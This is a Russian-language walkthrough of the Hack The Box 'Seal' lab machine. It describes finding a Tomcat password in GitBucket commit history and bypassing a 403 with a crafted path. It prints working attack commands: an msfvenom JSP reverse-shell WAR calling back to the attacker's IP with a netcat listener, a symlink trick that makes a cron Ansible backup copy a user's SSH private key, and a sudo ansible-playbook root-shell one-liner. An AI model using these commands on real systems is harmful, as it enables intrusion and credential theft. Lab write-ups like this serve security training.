Содержание
Продолжим тему прохождение Hack The Box. В этот раз мы с вами пройдем среднее по сложности задание с площадки Hack The Box. Я покажу, как взломать Apache Tomcat и эксплуатировать Ansible Playbook.
Еще по теме: Прохождение Hack The Box Explore
Разведка
Первым делом добавим IP-адрес машины в /etc/hosts:
|
1 |
10.10.10.250 seal.htb |
После этого приступим к сканированию портов. Это стандартная операция при любом пентесте. Сканирование портов позволит определить, какие службы на машине принимают соединение.
Самый популярный сканер — это Nmap. Следующий скрипт улучшит результаты сканирования:
|
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Видим 3 открытых порта: 443 (веб‑сервер nginx 1.18.0), 443 (веб‑сервер nginx 1.18.0), 22 (служба SSH) и 8080 (отмечен как HTTP-прокси).
В нашем распоряжении нет учетных данных, соответственно нет смысла анализировать службы (такие как SSH), которые требуют авторизацию. Вместо этого, можно перебрать пароли брутом, но в прохождении HTB всегда есть другие сценарии.
Порт 443 работает на HTTPS и содержит сертификат, которой поможет нам узнать для какого адреса он действителен. Ранее мы уже добавили его в файл /etc/hosts.
Взглянем на сам сайты. Первый — какой‑то одностраничный Seal Market с полями для ввода. Второй — GitBucket. Не нужно быть профи, чтоб понять, с каким из них лучше начинать.
Git
GitBucket — это легко устанавливаемый клон GitHub с открытым исходным кодом, написанный на Scala. Позволяет организовать совместную работу работу с Git-репозиториями. Попробуем зарегистрироваться.
После регистрации нам становится доступно какое-то количество проектов. Можно поискать в исходниках критические данные типа секретов, паролей и других интересностей. Также можно получить имена пользователей Git.
Запоминаем имена пользователей и начнем по порядку исследовать репозитории. В репозитории Seal Market нашелся список дел, где среди всего непримечательного запланирована смена конфигурации Apache Tomcat.
Это важная деталь, которая говорит о том, что на сайте используется еще одна технология. Давайте глянем на историю коммитов. Просматривая снизу вверх, остановимся на этом коммите:
|
1 |
http://seal.htb:8080/root/seal_market/commit/ac210325afd2f6ae17cce84a8aa42805ce5fd010 |
В нем мы нашелся файл конфигурации Tomcat и пароль авторизации.
Попробуем залогиниться с найденным паролем в системе GitBucket. Выясняется, что мы можем зайти в систему как luis. Увы, это нам никак не помогает, а к SSH пароль Льюиса не подошел. Поэтому переходим к анализу сайта Seal Market.
Точка входа
Перебором пробуем найти скрытые страницы. Предпочитаю для этого использовать утилиту fuff и словарик из набора Seclists.
Справка: сканирование веба c fuff
Как правило тестировании безопасности веб‑приложения начинается со сканирования методом перебора каталогов, чтобы отыскать скрытую информацию и недоступные простым посетителям функции. В этом могут помочь инструменты типа dirsearch и DIRB.
Мне нравится шустрый ffuf. При запуске можно использовать эти параметры:
- -w — словарь (используем directory-list-2.3-medium);
- -u — URL;
- -t — количество потоков;
- -fc — исключить из результата ответы с кодом 403.
На выходе получается следующая команда:
|
1 |
ffuf -w ../wordlists/_to_check/directory-list-2.3-medium.txt -u https://seal.htb/FUZZ -fc 403 -t 200 |
Все найденные страницы делают редирект в соответствующий каталог. Но нас интересуют только две: admin и manager.
При обращении к каталогу /admin/ возвращается ошибка 404, т.е. на сервере работает Apache Tomcat 9.0.31. При этом страница /manager сделает редирект в каталог /manager/, откуда нас опять перенаправляет на /manager/html. Последняя же вернет код 403 — это говорит о том, что у нас нет прав для доступа к странице. Чтобы получить больше информации о сайте, еще раз сканируем директории, но в этот раз в каталоге /manager/.
|
1 |
ffuf -w ../wordlists/_to_check/directory-list-2.3-medium.txt -u https://seal.htb/manager/FUZZ -fc 403 -t 200 |
Находим новые страницы: text и status. Ответ 401 говорит о том, что требуется HTTP-авторизация. Мы уже знаем имя пользователя и пароль из конфига Apache Tomcat и просто логинимся. Нас встречает панель Server Status Apache Tomcat.
Все это в конечном итоге мало что дает, поэтому можно попробовать пробиться к закрытым для нас функциям.
Точка опоры
Обход 403 Forbidden
Есть много рекомендаций, как обойти ответ 403 (доступ запрещен), среди которых использование редких методов запроса (вместо обычных GET и POST), разных заголовков HTTP и специальных путей к целевой странице. На все эти случаи у меня есть свои словари, собранные из интернета и объединенные в один. Поэтому я буду использовать Burp Intruder для перебора разных вариантов.
В результате я получил ответы, длина которых значительно больше остальных. На вкладке Response в Burp включаем опцию Render, чтобы смотреть страницы, как в браузере.
Так мы получаем доступ к функции /manager/html при обращении к /manager/;%2f../;//html.
Tomcat Admin to RCE
Имея административный доступ к Tomcat, мы можем загрузить на сервер и затем выполнить файл WAR (набор ресурсов и исполняемых файлов Java). Конечно же, в нашем случае это будет обратный шелл. Его мы можем собрать с помощью Msfvenom.
|
1 |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.58 LPORT=443 -f war -o revshell.war |
Этот код должен вызвать коннект на указанный адрес (то есть наш локальный IP). Пишем: rlwrap nc -lvp 443.
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
В качестве самого листенера при этом можно использовать широко известный netcat.
rlwrap nc -lvp [port]Но файл просто так не загрузить, так как мы получаем доступ к странице только через специальный путь. Поэтому указываем файл для загрузки и активируем Burp Proxy для отлова запроса.
После появления запроса в Burp Proxy изменим уже знакомый нам путь /manager/html на /manager/;%2f../;//html.
После обновления страницы увидим в списке файлов свой реверс‑шелл. Обращаемся к нему и получаем бэкконнект.
Продвижение
Если вы следите за циклом моих статей, то уже знаете, что для поиска пути продвижения я буду использовать LinPEAS.
Справка: скрипты PEASS для Linux
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его нужно сначала загрузить на локальный хост.
|
1 |
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh |
Теперь надо загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью Python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
|
1 |
python3 -m http.server |
А теперь с помощью того же wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо дать файлу право на выполнение и выполнить скрипт.
|
1 2 3 |
wget http://[ip_локального_хоста]:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh |
Информации получаем много, но ухватиться, казалось бы, не за что. Единственный момент — в дереве процессов видим запущенный скрипт из планировщика задач cron. Это может быть интересно!
Playbook во фреймворке Ansible определяет серию некоторых действий для выполнения. Часто плейбуки используют для начальной настройки серверов — добавления пользователей и каталогов, управления пакетами ПО и файлами. У нас в ansible-playbook передается файл конфигурации /opt/backups/playbook/run.yml.
В файле три задачи: Copy Files, Server Backups и Clean. То есть сначала файлы из директории /var/lib/tomcat9/webapps/ROOT/admin/dashboard копируются в каталог /opt/backups/files, затем файлы в этой директории архивируются и удаляются.
Так как выполняется копирование и файлов по ссылкам (опция copy_links) в контексте пользователя luis, то мы можем сделать ссылку на его личные файлы, что позволит их скопировать, когда cron запустит задачу. Конечно же, копировать будем приватный ключ SSH. Сделаем ссылку на ключ и поместим ее в целевую директорию. Спустя время обнаружим появившийся архив.
|
1 |
ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads |
Открываем архив и достаем ключ.
|
1 2 3 4 5 |
cp /opt/backups/archives/backup-2021-07-15-15:10:32.gz /tmp/b.gz gzip -kd /tmp/b.gz tar -xf /tmp/b cat /tmp/dashboard/uploads/.ssh/id_rsa chmod 0600 id_rsa |
Локальное повышение привилегий
Повторный запуск LinPEAS не показывает драматичных различий, но зацепка все же есть — настройки sudoers.
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Любой пользователь (ALL) может выполнить команду /usr/bin/ansible-playbook * в привилегированном контексте без ввода пароля (NOPASSWD). Открываем сайт GTFOBinsи находим технику локального повышения привилегий для этого приложения.
Эта команда создает файл конфигурации playbook во временной директории. Файл содержит одну выполняемую задачу — запуск оболочки /bin/sh. В конце ansible-playbook запускается в привилегированном контексте, что нам даст привилегированную оболочку.
|
1 2 3 |
TF=$(mktemp) echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF sudo ansible-playbook $TF |
Машина захвачена, мы имеем над ней полный контроль!
Еще по теме:
